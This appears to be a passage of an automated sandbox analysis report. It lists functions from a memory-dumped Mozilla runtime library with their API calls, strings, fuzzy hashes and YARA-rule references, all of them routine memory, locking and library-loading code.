Opcode Fuzzy Hash: e7a595775cb040f21b0d7fb02988ec92122bd7646a941ac33444680f4d1c9977
Instruction Fuzzy Hash: 4331A2B5A087159FC700CF14D880A9EBBF4FF99314F10882EE89A87741DB30E918CB92

Function 6C93FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C95D019,?,?,?,?,?,00000000,?,6C94DA31,00100000,?), ref: 6C93FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C95D019,?,?,?,?,?,00000000,?,6C94DA31,00100000,?,?), ref: 6C93FFF5
free.MOZGLUE(?,?,?,?,?,6C95D019,?,?,?,?,?,00000000,?,6C94DA31,00100000,?), ref: 6C94001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C95D019,?,?,?,?,?,00000000,?,6C94DA31,00100000,?,?), ref: 6C94002A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a90d7731d30d712bfb390ca0f2d2970e0ba8e26c3b156131e6c66cf492eb600d
Instruction ID: e744de2187f3e41ebae1322cace63e7f8ff6b07a1c7294a0f8e372986258674b
Opcode Fuzzy Hash: a90d7731d30d712bfb390ca0f2d2970e0ba8e26c3b156131e6c66cf492eb600d
Instruction Fuzzy Hash: 152106B2E002165BD7189E789C948BFB7BAEB953243254338E829D7780EB30DD1186E1

Function 6C91B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C91B4F5
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C91B502
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C91B542
free.MOZGLUE(?), ref: 6C91B578

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 774024db49595f61c019796f98a2341c984a2b75d25e79cc6c7c094df0f6d8bc
Instruction ID: e2f5f8cb24f265dd0a47af2f2e1795afc2a192e9772d7ce6b1704cb8efbf1c63
Opcode Fuzzy Hash: 774024db49595f61c019796f98a2341c984a2b75d25e79cc6c7c094df0f6d8bc
Instruction Fuzzy Hash: DD11C071A09B45D7D3128F29C804761B3B5FF97318F249B0AD84953F12EBB4E1C48790

Function 6C943DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C90F20E,?), ref: 6C943DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C90F20E,00000000,?), ref: 6C943DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C943E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C943E0E

Part of subcall function 6C93CC00: GetCurrentProcess.KERNEL32(?,?,6C9031A7), ref: 6C93CC0D
Part of subcall function 6C93CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9031A7), ref: 6C93CC16

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: e2d78034390056171e1dc016c7aca7babab8f00e9f51b6568537e29704c68968
Instruction ID: 6c2935caabccd9d3f5715628e189ca46f4e40c593dc552b5880fdf9ae2e9ae90
Opcode Fuzzy Hash: e2d78034390056171e1dc016c7aca7babab8f00e9f51b6568537e29704c68968
Instruction Fuzzy Hash: EDF058B1A012186BDB00AB94DC81DAB372CEB96628F180420FE0857701D635FA2986F6

Function 6C9520B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9520B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C93FBD1), ref: 6C9520C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C93FBD1), ref: 6C9520DA
free.MOZGLUE(00000000,?,6C93FBD1), ref: 6C9520F1

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: c316056da3dc894e8cb628e79d3fef7850b997947d283883247c75976572dbff
Instruction ID: a214d722304dbc67757b4d089ff52ca9bdfd2f6ee75e45a972846ec8f2a10399
Opcode Fuzzy Hash: c316056da3dc894e8cb628e79d3fef7850b997947d283883247c75976572dbff
Instruction Fuzzy Hash: F0E05531206A109BC7208F35CC0854EB7F8EF97214B14062AE40A83B01E735E50A86D5

Function 6C9585B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9585D3

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C958725

Strings

map/set<T> too long, xrefs: 6C958720

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 80a2a14cb7ad8b42f55e4809cd51cbb1f272e7a655dc0dbe71506fe39f5998f4
Instruction ID: 5becb7970c6c91a2e774f41d586f4412f1f3ca9cc1f37cde33e796c0dbffaff4
Opcode Fuzzy Hash: 80a2a14cb7ad8b42f55e4809cd51cbb1f272e7a655dc0dbe71506fe39f5998f4
Instruction Fuzzy Hash: CD51B7B4612645CFD705CF18C084B5ABBF0BF5A318F58C18AD8594BB92C730E891CF92

Function 6C90BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C90BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C90BE8F

Strings

0, xrefs: 6C90BE5B

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 4cd67afcd7494cd7968e2fe767446a1d8dd2b2cf465ff29f7503e743afd3c221
Instruction ID: c662d813f42985649c6a836394f5e84ea77b2a3fad5226b6385d20b8281b2ce0
Opcode Fuzzy Hash: 4cd67afcd7494cd7968e2fe767446a1d8dd2b2cf465ff29f7503e743afd3c221
Instruction Fuzzy Hash: 24418F71A09745CFC711CF28C481A9BB7F4AF9A348F008A1DF989AB611D731D959CB92

Function 6C943CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C943D19
mozalloc_abort.MOZGLUE(?), ref: 6C943D6C

Strings

d, xrefs: 6C943D58

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2653f8c1e8dcd3873d50e77448d5c7899a1218d4e98fb6c09825b440cf4e0cfb
Instruction ID: 766c5290a603530d2e90812533299f3a3d241187592133efdb3d22b427d23d3e
Opcode Fuzzy Hash: 2653f8c1e8dcd3873d50e77448d5c7899a1218d4e98fb6c09825b440cf4e0cfb
Instruction Fuzzy Hash: 2811C436E08698D7DB019B79CC144EDB775FF96218F45D629DC499B602EB30E584C350

Function 6C914730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9144B2,6C98E21C,6C98F7F8), ref: 6C91473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C91474A

Strings

GetNtLoaderAPI, xrefs: 6C914744

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: d427df7fea8ee93974774df58da27ea6d3c057c8be95ae287a515ac9be5f3b1d
Instruction ID: d0a58469500d02201d98daff6c511493014956c494b232fceca189a65520dcad
Opcode Fuzzy Hash: d427df7fea8ee93974774df58da27ea6d3c057c8be95ae287a515ac9be5f3b1d
Instruction Fuzzy Hash: FF01927530A3588FDF00AF65C8596197BB9EB8F725B184869E905C7710CB74D801CFA1

Function 6C966DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C966E22
__Init_thread_footer.LIBCMT ref: 6C966E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C966E1D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 880a1f693aef7a24d16c7fb3ce1f43eb13389158c070cea9ff510173c818a767
Instruction ID: 2fa4b1b43dae268fa6d0f489632a51f66aa44ea6c64446fcacad941674f433eb
Opcode Fuzzy Hash: 880a1f693aef7a24d16c7fb3ce1f43eb13389158c070cea9ff510173c818a767
Instruction Fuzzy Hash: 50F0243560B248CBEB018B68C850A8133755B6321CF242A69C40447FD1C730E93ACAA3

Function 6C919E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C919EEF

Strings

NaN, xrefs: 6C919EC1
Infinity, xrefs: 6C919EB7

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 71281f1e7e8622a8c022c100e5aacae55cdfc51e8fb28f86d1478b9b247ca633
Instruction ID: 2ae349ddf074dca3055de6abd7079dcf08fb793dacc4db508e43fbd42f0734c6
Opcode Fuzzy Hash: 71281f1e7e8622a8c022c100e5aacae55cdfc51e8fb28f86d1478b9b247ca633
Instruction Fuzzy Hash: B2F0A97060B245CADB008F58D846B8077B1B35331CF302E19C7080BB82E735E6AACA92

Function 6C91BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C91BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C91BEF5

Strings

cryptbase.dll, xrefs: 6C91BEF0

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e1f2bf077f552fbd320c81b63e6e4fb817eb9c0d898c801ad1ffc1ce87a7e064
Instruction ID: a65a08491d59fa15cce75ef3356de5eb01e9c1bb1d19beced603a9b0350e2b24
Opcode Fuzzy Hash: e1f2bf077f552fbd320c81b63e6e4fb817eb9c0d898c801ad1ffc1ce87a7e064
Instruction Fuzzy Hash: B0D0C73118910CEAD7406A508D1AB193B799706715F24C421F75555D53C7B1D450CFE4

Function 6C9050E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C904E9C,?,?,?,?,?), ref: 6C90510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C904E9C,?,?,?,?,?), ref: 6C905167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C905196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C904E9C), ref: 6C905234

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: c1146184ad9dcf3ccc71bbced1eca65fe6b4bf4af4136ff5a4cf56ef65732b3a
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 4291B035605656CFCB14CF08C490A5ABBA5FF99318B28858CDC589BB16D331FD52CBE0

Function 6C9408F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C940918
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C9409A6
EnterCriticalSection.KERNEL32(6C98E7DC,?,00000000), ref: 6C9409F3
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C940ACB

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ffde50d1831b5c1ed02b7091d220f311f25b9fb518e8e7b6739197878244332c
Instruction ID: 771d734c9765f1e3f8d23a0e200ff789d4fc38dcd940d2e234dcbc234ee58b95
Opcode Fuzzy Hash: ffde50d1831b5c1ed02b7091d220f311f25b9fb518e8e7b6739197878244332c
Instruction Fuzzy Hash: 8B512B37B07A508BEF089A25C42462533B5EBE3B28735D93ED965A7F84D730EC0186C0

Function 6C95B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C95B2C9,?,?,?,6C95B127,?,?,?,?,?,?,?,?,?,6C95AE52), ref: 6C95B628

Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C9590FF
Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C959108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C95B2C9,?,?,?,6C95B127,?,?,?,?,?,?,?,?,?,6C95AE52), ref: 6C95B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C95B2C9,?,?,?,6C95B127,?,?,?,?,?,?,?,?,?,6C95AE52), ref: 6C95B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C95B127,?,?,?,?,?,?,?,?), ref: 6C95B74D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3392afc0f6f64659d96a1063ce351b4f5a95aba13219089c7959aa4421157321
Instruction ID: e6a4ffa68377a80bd11499ab5ca0ba555daf0989f8905ba844ec7d224f930db9
Opcode Fuzzy Hash: 3392afc0f6f64659d96a1063ce351b4f5a95aba13219089c7959aa4421157321
Instruction Fuzzy Hash: 9651CCB1A06216CFDB14CF18C98076EB7B5FF85714F95852DC85AABB40DB31E824CBA1

Function 6C95DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C94FF2A), ref: 6C95DFFD

Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C9590FF
Part of subcall function 6C9590E0: free.MOZGLUE(?,00000000,?,?,6C95DEDB), ref: 6C959108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C94FF2A), ref: 6C95E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C94FF2A), ref: 6C95E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C94FF2A), ref: 6C95E0FE

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e6ca8fcb83bfbc7d703d74e1c41960581f65d939ea0553b1e62eaa0937054de0
Instruction ID: 870f5911fab53c3667711e21b9a966facd36e8bf85a6e03c3374f21c4bb5425c
Opcode Fuzzy Hash: e6ca8fcb83bfbc7d703d74e1c41960581f65d939ea0553b1e62eaa0937054de0
Instruction Fuzzy Hash: 7C41D4B1608216CFEB14CF68D88076A73B6BB46308FA44939D516DB740E737E925CB92

Function 6C956E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C956EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C956EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C956F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C956F5C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 91cf54973262f72966ecceb66949a3c594d062fcfbbd9f9dd94ebb9a3f212376
Instruction ID: d7ac00e7b4469955104c3ec70db1092db2364e0332c1c154989e686abfec22f4
Opcode Fuzzy Hash: 91cf54973262f72966ecceb66949a3c594d062fcfbbd9f9dd94ebb9a3f212376
Instruction Fuzzy Hash: 6431E571B1160A8FDB14CF2CC980AAE73E9EB85344F904639D41AC7751EB32E679C7A1

Function 6C96B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C910A4D), ref: 6C96B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C910A4D), ref: 6C96B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C910A4D), ref: 6C96B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C910A4D), ref: 6C96B67F

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 80b4e8b890874d8a8be371e75226e709ac4ca9e924e66afba7eaa18c6c2ac722
Instruction ID: 3740cf81f0c9c97c56ba0e4f69b9bc48b8291bac8dce9af48b05b7767f9aa267
Opcode Fuzzy Hash: 80b4e8b890874d8a8be371e75226e709ac4ca9e924e66afba7eaa18c6c2ac722
Instruction Fuzzy Hash: 91314C719012168FEB10DF59C84466AB7F5FF81314F168629D80ADBB41FB31E915CBD1

Function 6C93F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C93F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C93F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C93F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C93F668

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
